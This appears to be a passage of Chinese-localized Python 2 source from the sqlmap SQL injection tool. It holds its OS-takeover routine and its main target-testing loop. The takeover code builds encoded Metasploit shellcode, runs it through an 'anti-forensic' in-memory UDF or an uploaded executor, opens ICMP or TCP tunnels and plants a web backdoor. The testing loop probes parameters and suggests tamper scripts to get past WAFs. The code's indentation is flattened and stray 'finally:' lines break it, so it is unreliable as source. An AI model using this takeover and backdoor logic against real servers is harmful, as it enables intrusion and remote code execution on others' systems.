errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
logger.error(errMsg)
else:
logger.critical(errMsg)
return False
finally:
def osPwn(self):
goUdf = False
fallbackToWeb = False
setupSuccess = False
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "你想如何建立隧道？?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
while True:
tunnel = readInput(msg, default='1')
if tunnel.isdigit() and int(tunnel) in (1, 2):
tunnel = int(tunnel)
break
else:
warnMsg = "无效值，有效值为'1'和'2'"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "当后端DBMS不是Windows时，隧道只能通过TCP建立"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
errMsg = "如果要建立带外ICMP隧道，则需要以管理员身份运行sqlmap，因为icmpsh使用原始套接字来嗅探和制作ICMP数据包"
raise SqlmapMissingPrivileges(errMsg)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。"
errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(sysIgnoreIcmp):
fp = open(sysIgnoreIcmp, "wb")
fp.write("1")
fp.close()
else:
errMsg = "您需要在整个系统范围内禁用ICMP回复 "
errMsg += "例如在Linux/Unix上运行:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "如果您错过了这么做，您将收到来自数据库服务器的信息，而不会收到您发送的命令的回应。"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
self.getRemoteTempPath()
if isStackingAvailable() or conf.direct:
web = False
self.initEnv(web=web)
if tunnel == 1:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode？"
msg += "\n[1] 通过UDF 'sys_bineval' (内存方式，反取证，默认)"
msg += "\n[2] 通过shellcodeexec(文件系统方式，首选64位系统)"
while True:
choice = readInput(msg, default='1')
if choice.isdigit() and int(choice) in (1, 2):
choice = int(choice)
break
else:
warnMsg = "无效值，有效值为1和2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
exitfunc = "thread"
setupSuccess = True
else:
exitfunc = "process"
self.createMsfShellcode(exitfunc=exitfunc,
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
if not goUdf:
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
DBMS.MYSQL) and conf.privEsc:
debugMsg = "默认情况下，MySQL在Windows上运行为SYSTEM用户，不需要权限升级"
logger.debug(debugMsg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
if not setupSuccess and Backend.isDbms(
DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
or fallbackToWeb):
web = True
if fallbackToWeb:
infoMsg = "falling back to web backdoor to establish the tunnel"
else:
infoMsg = "要使用web后门建立隧道"
logger.info(infoMsg)
self.initEnv(web=web, forceInit=fallbackToWeb)
if self.webBackdoorUrl:
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
#Unset --priv-esc如果后端DBMS底层操作系统不是Windows
conf.privEsc = False
warnMsg = "当后台DBMS底层系统不是Windows时，sqlmap不实现任何操作系统用户权限升级技术"
logger.warn(warnMsg)
if tunnel == 1:
self.createMsfShellcode(exitfunc="process",
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
if setupSuccess:
if tunnel == 1:
self.pwn(goUdf)
elif tunnel == 2:
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session"
raise SqlmapNotVulnerableException(errMsg)
if not conf.cleanup:
self.cleanup(web=web)
def start():
"""
此函数调用一个功能，对URL稳定性和所有GET，POST，Cookie和User-Agent参数进行检查，
以检查它们是否为动态且SQL注入受影响。
"""
if conf.direct:
initTargetEnv() #完成全局变量conf和kb的初始化工作
setupTargetEnv() #完成针对目标网址的解析工作，如获取协议名、路径、端口、请求参数等信息
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = u"您没有正确编辑配置文件，请设置 "
errMsg += u"目标网址，目标清单或Google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = u"sqlmap共有%d个目标" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = u"[信息] 检查互联网连接"
logger.info(infoMsg)
if not checkInternet():
warnMsg = u"[%s] [警告] 没有检测到连接" % time.strftime("%X")
dataToStdout(warnMsg)
while not checkInternet():
dataToStdout('.')
time.sleep(5)
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper(
) if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any(
[conf.data, conf.testParameter]):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" %
(re.escape(conf.paramDel or "") or
DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
or DEFAULT_GET_POST_DELIMITER),
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET,
parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = u"已经针对'%s'检测到SQL注入漏洞。 " % conf.hostname
message += u"你想跳过进一步的测试吗? [Y/n]"
kb.skipVulnHost = readInput(message,
default='Y',
boolean=True)
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = u"跳过'%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
targetUrl)
else:
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % (
(conf.method if conf.method != HTTPMETHOD.GET
else conf.method) or HTTPMETHOD.POST,
urlencode(conf.data) if conf.data else "")
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += u"\n你想测试这个表单吗? [Y/n/q] "
choice = readInput(message, default='Y').upper()
if choice == 'N':
continue
elif choice == 'Q':
break
else:
if conf.method != HTTPMETHOD.GET:
message = u"编辑 %s 数据 [默认值: %s]%s: " % (
conf.method, urlencode(conf.data) if conf.data
else "None", "(警告：检测到空白字段)" if conf.data
and extractRegexResult(EMPTY_FORM_FIELDS_REGEX,
conf.data) else "")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(
conf.data) if conf.data and urlencode(
DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") +
1:]
message = u"编辑GET数据 [默认值: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
else:
message += u"\n你想测试这个URL吗? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
infoMsg = u"测试目标URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
checkWaf()
if conf.identifyWaf:
identifyWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if not any(
(conf.string, conf.notString,
conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# 注意：这不再需要，
# 只有在页面不稳定的情况下才向用户显示警告消息
checkStability()
# 对可测试参数列表进行一些优先级排序
parameters = conf.parameters.keys()
# 测试列表顺序（从头到尾）
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# 只有--level> = 3时，才测试User-Agent和Referer头
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# 只有--level >= 5时，才测试主机头
skip |= (place == PLACE.HOST and conf.level < 5)
# 只有--level> = 2时，才测试Cookie header
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(
PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(
PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(
HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect(
(PLACE.COOKIE, ), conf.testParameter, True))
if skip:
continue
if kb.testOnlyCustom and place not in (
PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = u"跳过以前处理的%s参数'%s'" % (paramType,
parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False
infoMsg = u"跳过随机的%s参数'%s'" % (paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(
' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter)
logger.info(infoMsg)
elif conf.paramExclude and (
re.search(conf.paramExclude, parameter, re.I)
or kb.postHint
and re.search(conf.paramExclude,
parameter.split(' ')[-1], re.I)):
testSqlInj = False
infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter)
logger.info(infoMsg)
elif parameter == conf.csrfToken:
testSqlInj = False
infoMsg = u"跳过anti-CSRF token参数'%s'" % parameter
logger.info(infoMsg)
# 忽略--level < 4 的会话类参数
elif conf.level < 4 and (
parameter.upper() in IGNORE_PARAMETERS
or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = u"忽略%s参数'%s'" % (paramType, parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = u"%s参数'%s'似乎不是动态的" % (paramType,
parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = u"跳过静态%s参数'%s'" % (paramType,
parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = u"%s参数'%s'是动态的" % (paramType,
parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(
place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (
kb.ignoreCasted and check
== HEURISTIC_TEST.CASTED):
infoMsg = u"跳过%s参数'%s'" % (paramType,
parameter)
logger.info(infoMsg)
continue
infoMsg = u"在%s参数'%s'上测试SQL注入" % (paramType,
parameter)
logger.info(infoMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place",
None) is not None:
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
kb.injections.append(injection)
# 如果用户想要结束检测阶段(Ctrl + C)
if not proceed:
break
msg = u"%s 参数 '%s' " % (
injection.place,
injection.parameter)
msg += u"很容易受到攻击，你想继续测试其他的参数吗(如果有的话)? [y/N] "
if not readInput(msg,
default='N',
boolean=True):
proceed = False
paramKey = (conf.hostname,
conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = u"%s参数'%s'似乎不能注入 " % (paramType,
parameter)
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = u"在提供的数据中没有找到用于测试的参数"
errMsg += u"(例如 www.site.com/index.php?id=1 中的GET参数'id')"
raise SqlmapNoneDataException(errMsg)
else:
errMsg = u"所有测试参数似乎都不可注入，"
if conf.level < 5 or conf.risk < 3:
errMsg += u"尝试增加'--level'/'--risk'值进行更多测试，"
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += u"重新运行不提供选项“--technique”"
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += u"如果目标页面的文本内容比例很低"
# Python输出两位小数的百分数
# 由于%在string format中是特殊符号，所以使用%%才输出%
errMsg += u"(页面内容的~%.2f%%是文本)则可以使用'--text-only'来切换" % percent
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
# 当页面文本内容小于20%时
errMsg += u"请使用选项'--text-only'(连同 --technique=BU)重试"
errMsg += u"因为这种情况看起来是一个完美的备用计划"
errMsg += u"(文本内容较少，以及比较引擎无法检测到至少一个动态参数)"
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += u"从启发式测试结果来看，还是有希望的，"
errMsg += u"强烈建议您继续进行测试，"
errMsg += u"请考虑使用tamper脚本，因为您的目标可能会过滤查询，"
if not conf.string and not conf.notString and not conf.regexp:
errMsg += u"此外，您可以尝试通过提供选项'--string'"
errMsg += u"(或'--regexp')的有效值来重新运行，"
elif conf.string:
errMsg += u"此外，您可以尝试通过提供'--string'选项的有效值来重新运行，"
errMsg += u"也许您选择的字符串不完全匹配True响应"
elif conf.regexp:
errMsg += u"此外，您可以尝试通过为选项'--regexp'提供有效值来重新运行，"
errMsg += u"也许您所选择的正则表达式不完全匹配True响应"
if not conf.tamper:
errMsg += u"如果您怀疑有某种保护机制(例如 WAF)，\r\n您可以使用选项'--tamper'重试 "
errMsg += u"(例如 '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = u"你想利用这个SQL注入吗? [Y/n] "
condition = readInput(message, default='Y', boolean=True)
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = u"用户在多目标模式下中止"
logger.warn(warnMsg)
message = u"你想跳到列表中的下一个目标吗? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
return False
elif choice == 'Q':
raise SqlmapUserQuitException
else:
raise
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException, ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += u", 跳到下一个%s" % ("form" if conf.forms else "URL")
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
return False
finally:
